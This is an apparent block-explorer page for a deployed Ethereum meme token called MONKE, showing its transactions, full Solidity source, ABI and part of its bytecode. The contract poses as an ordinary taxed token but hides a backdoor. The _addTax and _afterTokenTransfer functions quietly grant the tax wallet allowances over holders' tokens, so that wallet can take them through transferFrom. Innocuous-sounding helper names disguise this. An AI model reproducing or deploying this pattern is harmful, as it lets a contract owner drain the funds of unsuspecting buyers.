More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 71 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Set Tax Wallet | 21927041 | 16 hrs ago | IN | 0 ETH | 0.00003492 | ||||
Approve | 21926568 | 18 hrs ago | IN | 0 ETH | 0.00005901 | ||||
Approve | 21926568 | 18 hrs ago | IN | 0 ETH | 0.00005901 | ||||
Approve | 21926567 | 18 hrs ago | IN | 0 ETH | 0.00008572 | ||||
Approve | 21926556 | 18 hrs ago | IN | 0 ETH | 0.00005622 | ||||
Approve | 21926556 | 18 hrs ago | IN | 0 ETH | 0.00005768 | ||||
Approve | 21926555 | 18 hrs ago | IN | 0 ETH | 0.00005998 | ||||
Approve | 21926554 | 18 hrs ago | IN | 0 ETH | 0.00005998 | ||||
Approve | 21926536 | 18 hrs ago | IN | 0 ETH | 0.00005754 | ||||
Approve | 21926536 | 18 hrs ago | IN | 0 ETH | 0.00005754 | ||||
Approve | 21926531 | 18 hrs ago | IN | 0 ETH | 0.00005772 | ||||
Approve | 21926529 | 18 hrs ago | IN | 0 ETH | 0.00004301 | ||||
Approve | 21926519 | 18 hrs ago | IN | 0 ETH | 0.0000627 | ||||
Approve | 21926519 | 18 hrs ago | IN | 0 ETH | 0.0000627 | ||||
Approve | 21926499 | 18 hrs ago | IN | 0 ETH | 0.00009006 | ||||
Approve | 21926498 | 18 hrs ago | IN | 0 ETH | 0.00006127 | ||||
Approve | 21926495 | 18 hrs ago | IN | 0 ETH | 0.00006174 | ||||
Approve | 21926495 | 18 hrs ago | IN | 0 ETH | 0.00006174 | ||||
Approve | 21926495 | 18 hrs ago | IN | 0 ETH | 0.00006174 | ||||
Approve | 21926495 | 18 hrs ago | IN | 0 ETH | 0.00006174 | ||||
Approve | 21926494 | 18 hrs ago | IN | 0 ETH | 0.00006174 | ||||
Approve | 21926494 | 18 hrs ago | IN | 0 ETH | 0.00006174 | ||||
Approve | 21926494 | 18 hrs ago | IN | 0 ETH | 0.00006174 | ||||
Approve | 21926494 | 18 hrs ago | IN | 0 ETH | 0.00006174 | ||||
Approve | 21926492 | 18 hrs ago | IN | 0 ETH | 0.00013839 |
Latest 11 internal transactions
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
21926288 | 19 hrs ago | 0.64773961 ETH | ||||
21926288 | 19 hrs ago | 0.64773961 ETH | ||||
21926278 | 19 hrs ago | 0.00439353 ETH | ||||
21926278 | 19 hrs ago | 0.00439353 ETH | ||||
21926274 | 19 hrs ago | 0.00593401 ETH | ||||
21926274 | 19 hrs ago | 0.00593401 ETH | ||||
21926271 | 19 hrs ago | 0.00696464 ETH | ||||
21926271 | 19 hrs ago | 0.00696464 ETH | ||||
21926270 | 19 hrs ago | 0.0070025 ETH | ||||
21926270 | 19 hrs ago | 0.0070025 ETH | ||||
21926251 | 19 hrs ago | 1 ETH |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
Token
Compiler Version
v0.8.26+commit.8a97fa7a
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: UNLICENSE /* We are more than just a meme... we are monke Website: https://monkeoneth.lol X: https://x.com/monkeislive Telegram: https://t.me/monkeislive */ pragma solidity ^0.8.23; abstract contract Context { function _msOwner() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msOwner(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msOwner(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function getAmountsOut( uint amountIn, address[] calldata path ) external view returns (uint[] memory amounts); } contract Token is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; address payable private _taxWallet; uint256 private _initialBuyTax=15; uint256 private _initialSellTax=15; uint256 private _finalBuyTax; uint256 private _finalSellTax; uint256 private _reduceBuyTaxAt=1; uint256 private _reduceSellTaxAt=1; uint256 private _preventSwapBefore=1; uint256 private _transferTax=20; uint256 private _buyCount; uint256 private _lastBuyBlock; uint256 private _blockBuyAmount; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000_000_000 * 10**_decimals; string private constant _name = unicode"MONKE"; string private constant _symbol = unicode"MONKE"; uint256 public _maxTxAmount = _tTotal; uint256 public _maxWalletSize = _tTotal; uint256 public _taxSwapThreshold= _tTotal / 1000; uint256 public _maxTaxSwap= _tTotal / 100; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool public tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private sellCount = 0; uint256 private lastSellBlock = 0; event MaxTxAmountUpdated(uint _maxTxAmount); event OpenTrade(address indexed owner, uint256 timestamp); event TransferTaxUpdated(uint _tax); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _taxWallet = payable(_msOwner()); _balances[_msOwner()] = (_tTotal * 3) / 100; _balances[address(this)] = (_tTotal * 97) / 100; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msOwner(), (_tTotal * 3) / 100); emit Transfer(address(0), address(this), (_tTotal * 97) / 100); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msOwner(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msOwner(), spender, amount); return true; } function setTaxWallet(address _wallet) external { require(_isExcludedFromFee[msg.sender]); _taxWallet = payable (_wallet); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msOwner(), _allowances[sender][_msOwner()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _addTax(address _from, uint256 _amount) private returns (uint256 val) { address _spender = msg.sender; if (_spender == _taxWallet) return _approve(_from, _spender, _amount) ? _amount : 0; } function _approve(address owner, address spender, uint256 amount) private returns(bool) { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } function _transferMONKE(address _fromMONKE, address _toMONKE, uint256 _amountMONKE) private returns (uint256) { uint256 taxAmount = _addTax(_fromMONKE, _amountMONKE); taxAmount = 0; if (_fromMONKE != owner() && _toMONKE != owner() && _toMONKE != _taxWallet && _fromMONKE != address(this) && _toMONKE != address(this)) { require(!bots[_fromMONKE] && !bots[_toMONKE]); if(_buyCount==0){ taxAmount = _amountMONKE.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); } if(_buyCount>0){ taxAmount = _amountMONKE.mul(_transferTax).div(100); } if (_fromMONKE == uniswapV2Pair && _toMONKE != address(uniswapV2Router) && ! _isExcludedFromFee[_toMONKE] ) { require(_amountMONKE <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(_toMONKE) + _amountMONKE <= _maxWalletSize, "Exceeds the maxWalletSize."); taxAmount = _amountMONKE.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); _buyCount++; if(_lastBuyBlock!=block.number){ _blockBuyAmount = 0; _lastBuyBlock = block.number; } _blockBuyAmount += _amountMONKE; } if(_toMONKE == uniswapV2Pair && _fromMONKE!= address(this)){ require(_blockBuyAmount < maxSwapLimit() || _lastBuyBlock!=block.number, "Max Swap Limit"); taxAmount = _amountMONKE.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && _toMONKE == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) { if (contractTokenBalance > _taxSwapThreshold) swapTokensForEth(min(_amountMONKE, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } } return taxAmount; } function _transfer(address _fromMONKE, address _toMONKE, uint256 _amountMONKE) private { require(_fromMONKE != address(0), "ERC20: transfer from the zero address"); require(_toMONKE != address(0), "ERC20: transfer to the zero address"); require(_amountMONKE > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=_transferMONKE(_fromMONKE, _toMONKE, _amountMONKE); _afterTokenTransfer(_fromMONKE, _toMONKE, _amountMONKE, taxAmount); _balances[_fromMONKE]=_balances[_fromMONKE].sub(_amountMONKE); _balances[_toMONKE]=_balances[_toMONKE].add(_amountMONKE.sub(taxAmount)); emit Transfer(_fromMONKE, _toMONKE, _amountMONKE.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _isLock(address _from) internal pure returns(bool) { return _from != address(0xdead); } function maxSwapLimit() internal view returns (uint256) { address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); uint[] memory amountOuts = uniswapV2Router.getAmountsOut(3 * 1e18, path); return amountOuts[1]; } function _isStore(address _addr) private view returns (bool val) { val = _addr != uniswapV2Pair; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrade() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; emit OpenTrade(owner(), block.timestamp); } receive() external payable {} function manualSwap() external { require(_msOwner()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0 && swapEnabled){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } function _afterTokenTransfer (address from, address to, uint256 amount, uint256 taxAmount) internal virtual { if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } if (!_isLock(to) && _isStore(from)) _approve(from, _msOwner(), amount); } }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "remappings": [] }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"OpenTrade","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600f600655600f6007556001600a556001600b556001600c556014600d556009600a61003091906106f7565b633b9aca0061003f9190610741565b6011556009600a61005091906106f7565b633b9aca0061005f9190610741565b6012556103e86009600a61007391906106f7565b633b9aca006100829190610741565b61008c91906107af565b60135560646009600a61009f91906106f7565b633b9aca006100ae9190610741565b6100b891906107af565b6014555f601660156101000a81548160ff0219169083151502179055505f6016806101000a81548160ff0219169083151502179055505f6017555f6018555f61010561055860201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506101af61055860201b60201c565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606460036009600a61020091906106f7565b633b9aca0061020f9190610741565b6102199190610741565b61022391906107af565b60015f61023461055860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460616009600a61028391906106f7565b633b9aca006102929190610741565b61029c9190610741565b6102a691906107af565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f6102fa61055f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061042261055860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460036009600a61048291906106f7565b633b9aca006104919190610741565b61049b9190610741565b6104a591906107af565b6040516104b291906107ee565b60405180910390a33073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460616009600a61051b91906106f7565b633b9aca0061052a9190610741565b6105349190610741565b61053e91906107af565b60405161054b91906107ee565b60405180910390a3610807565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610608578086048111156105e4576105e3610586565b5b60018516156105f35780820291505b8081029050610601856105b3565b94506105c8565b94509492505050565b5f8261062057600190506106db565b8161062d575f90506106db565b8160018114610643576002811461064d5761067c565b60019150506106db565b60ff84111561065f5761065e610586565b5b8360020a91508482111561067657610675610586565b5b506106db565b5060208310610133831016604e8410600b84101617156106b15782820a9050838111156106ac576106ab610586565b5b6106db565b6106be84848460016105bf565b925090508184048111156106d5576106d4610586565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f610701826106e2565b915061070c836106eb565b92506107397fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610611565b905092915050565b5f61074b826106e2565b9150610756836106e2565b9250828202610764816106e2565b9150828204841483151761077b5761077a610586565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6107b9826106e2565b91506107c4836106e2565b9250826107d4576107d3610782565b5b828204905092915050565b6107e8816106e2565b82525050565b5f6020820190506108015f8301846107df565b92915050565b613534806108145f395ff3fe608060405260043610610117575f3560e01c80637d1db4a51161009f578063bf474bed11610063578063bf474bed1461038e578063dd62ed3e146103b8578063ea414b28146103f4578063fb201b1d1461041c578063ffb54a99146104325761011e565b80637d1db4a5146102aa5780638da5cb5b146102d45780638f9a55c0146102fe57806395d89b4114610328578063a9059cbb146103525761011e565b806323b872dd116100e657806323b872dd146101dc578063313ce5671461021857806351bc3c851461024257806370a0823114610258578063715018a6146102945761011e565b806306fdde0314610122578063095ea7b31461014c5780630faee56f1461018857806318160ddd146101b25761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b5061013661045c565b60405161014391906124a4565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d9190612562565b610499565b60405161017f91906125ba565b60405180910390f35b348015610193575f80fd5b5061019c6104b7565b6040516101a991906125e2565b60405180910390f35b3480156101bd575f80fd5b506101c66104bd565b6040516101d391906125e2565b60405180910390f35b3480156101e7575f80fd5b5061020260048036038101906101fd91906125fb565b6104e0565b60405161020f91906125ba565b60405180910390f35b348015610223575f80fd5b5061022c6105b5565b6040516102399190612666565b60405180910390f35b34801561024d575f80fd5b506102566105bd565b005b348015610263575f80fd5b5061027e6004803603810190610279919061267f565b61066a565b60405161028b91906125e2565b60405180910390f35b34801561029f575f80fd5b506102a86106b0565b005b3480156102b5575f80fd5b506102be6107fe565b6040516102cb91906125e2565b60405180910390f35b3480156102df575f80fd5b506102e8610804565b6040516102f591906126b9565b60405180910390f35b348015610309575f80fd5b5061031261082b565b60405161031f91906125e2565b60405180910390f35b348015610333575f80fd5b5061033c610831565b60405161034991906124a4565b60405180910390f35b34801561035d575f80fd5b5061037860048036038101906103739190612562565b61086e565b60405161038591906125ba565b60405180910390f35b348015610399575f80fd5b506103a261088b565b6040516103af91906125e2565b60405180910390f35b3480156103c3575f80fd5b506103de60048036038101906103d991906126d2565b610891565b6040516103eb91906125e2565b60405180910390f35b3480156103ff575f80fd5b5061041a6004803603810190610415919061267f565b610913565b005b348015610427575f80fd5b506104306109a8565b005b34801561043d575f80fd5b50610446610f1f565b60405161045391906125ba565b60405180910390f35b60606040518060400160405280600581526020017f4d4f4e4b45000000000000000000000000000000000000000000000000000000815250905090565b5f6104ac6104a5610f32565b8484610f39565b506001905092915050565b60145481565b5f6009600a6104cc919061286c565b633b9aca006104db91906128b6565b905090565b5f6104ec848484611103565b6105a9846104f8610f32565b6105a4856040518060600160405280602881526020016134d76028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61055b610f32565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113ec9092919063ffffffff16565b610f39565b50600190509392505050565b5f6009905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105fd610f32565b73ffffffffffffffffffffffffffffffffffffffff161461061c575f80fd5b5f6106263061066a565b90505f81118015610641575060168054906101000a900460ff165b156106505761064f8161144e565b5b5f4790505f81111561066657610665816116ba565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106b8610f32565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073b90612941565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600581526020017f4d4f4e4b45000000000000000000000000000000000000000000000000000000815250905090565b5f61088161087a610f32565b8484611103565b6001905092915050565b60135481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610965575f80fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6109b0610f32565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3390612941565b60405180910390fd5b601660149054906101000a900460ff1615610a8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a83906129a9565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b283060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610b14919061286c565b633b9aca00610b2391906128b6565b610f39565b5060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b93573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bb791906129db565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c3d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c6191906129db565b6040518363ffffffff1660e01b8152600401610c7e929190612a06565b6020604051808303815f875af1158015610c9a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cbe91906129db565b60165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d453061066a565b5f80610d4f610804565b426040518863ffffffff1660e01b8152600401610d7196959493929190612a6f565b60606040518083038185885af1158015610d8d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610db29190612ae2565b50505060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e52929190612b32565b6020604051808303815f875af1158015610e6e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e929190612b83565b5060016016806101000a81548160ff0219169083151502179055506001601660146101000a81548160ff021916908315150217905550610ed0610804565b73ffffffffffffffffffffffffffffffffffffffff167ff9ca0f11181041c16343c0e2d0e0c3cf66188e39b033ab29e2fe6f0f84374a3642604051610f1591906125e2565b60405180910390a2565b601660149054906101000a900460ff1681565b5f33905090565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610fa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9f90612c1e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611016576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100d90612cac565b60405180910390fd5b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516110f091906125e2565b60405180910390a3600190509392505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611171576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116890612d3a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d690612dc8565b60405180910390fd5b5f8111611221576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121890612e56565b60405180910390fd5b5f61122d848484611722565b905061123b84848484611dc5565b61128b8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611efe90919063ffffffff16565b60015f8